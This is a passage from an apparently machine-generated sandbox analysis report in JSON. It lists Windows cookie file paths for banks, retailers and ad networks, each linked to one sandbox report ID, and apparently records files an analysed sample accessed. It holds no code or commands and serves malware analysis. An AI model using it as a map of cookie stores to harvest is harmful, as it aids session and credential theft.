:"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@amazon-adsystem[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@amazon.co[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@amazon[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@an.yandex[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@and.co[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@api.unthem[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@apple[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@areyouahuman[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ashiato.travel.rakuten.co[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@at.atwola[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@at.atwola[3].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@at.pagesjaunes[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@atdmt[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@atemda[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ati-host[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@att[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@att[3].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@audiencemanager[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@audience[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@baidu[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@baixaki.com[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@bankofamerica.tt.omtrdc[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@bankofamerica[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@barbie[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@barclays.co[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@beemp3s[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@behe[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@bestbuy[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@bidr.trellian[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@bidswitch[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@biglobe.ne[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@bing[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@bing[3].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@blackberry[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@blinkx[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@blogcu[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@bloomberg[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@bluekai[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@boldchat[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@booking[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@break[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@brothersoft[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@btrll[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@bttrack[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@buenastareas[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@buycheapr[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@buzzle[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@c.appier[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@c.bing[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@c.msn[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@c.t-online[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@c1.microsoft[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@c3tag[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CA2H84K3.txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CA2PEOSH.txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CA6UJTVK.txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CA9PF40B.txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CAACZOG5.txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CAE1SZGZ.txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CAGW7CDR.txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CAISFVR1.txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@caixa.gov[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CAM50QZO.txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CAOB1WXI.txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CAPRONUA.txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CARTCJ6U.txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@casalemedia[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@casino.partycasino[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@CAZQHD8E.txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ca[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@cbsi[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@cbslocal[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@cbs[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@cdn.at.atwola[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@chango[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@chase[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@chip[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@chomikuj[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@citi[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@citysearch[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@classmates[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@cncn[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@collective-media[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@collector.thebigwillow[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@com-lenovo.netmng[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@commander1[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@connexity[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@constantcontact[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@content.delta[10].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@content.delta[11].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@content.delta[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@content.delta[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@content.delta[3].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@content.delta[4].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@content.delta[5].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@content.delta[6].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@content.delta[7].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@content.delta[8].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@content.delta[9].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@content.discover[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@contextweb[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@convertro[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@cookie.gazeta[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@corriere[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@count.pclady.com[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@count5.pconline.com[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@cox[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@cpro.baidu[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@craigslist[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@craigslist[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@creativecdn[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@criteo[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@crsspxl[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@crwdcntrl[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@cstatic.weborama[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ctnsnet[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ctrip[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@cxense[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@cyad.nate[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@cyad1.nate[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@d.adroll[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@d.liadm[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@daily.co[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dailymail.co[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dangdang[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@de.surveymonkey[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@de.wwe[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@de17a[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dell[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@deltaairlines.tt.omtrdc[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@delta[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@demdex[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@deqwas[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@deviantart[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@discovercard[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@discover[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dmtracker[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dmtry[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dol.deliver.ifeng[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dolphin.deliver.ifeng[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@domaintools[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dotomi[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@doubleclick[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dpm.demdex[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dsp[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@duote[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dynad[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dynamicyield[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@dyntrk[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ebay.com[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ebay[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ebay[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ebay[3].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ebuddy[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@eco-tag[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@edition.cnn[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@el-mundo[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@eloqua[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@en.softonic[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@engine.4dsply[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@eo.demdex[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@eol[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@eonline[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@es.groupalia[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@esprit[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@estara[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@etsy[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116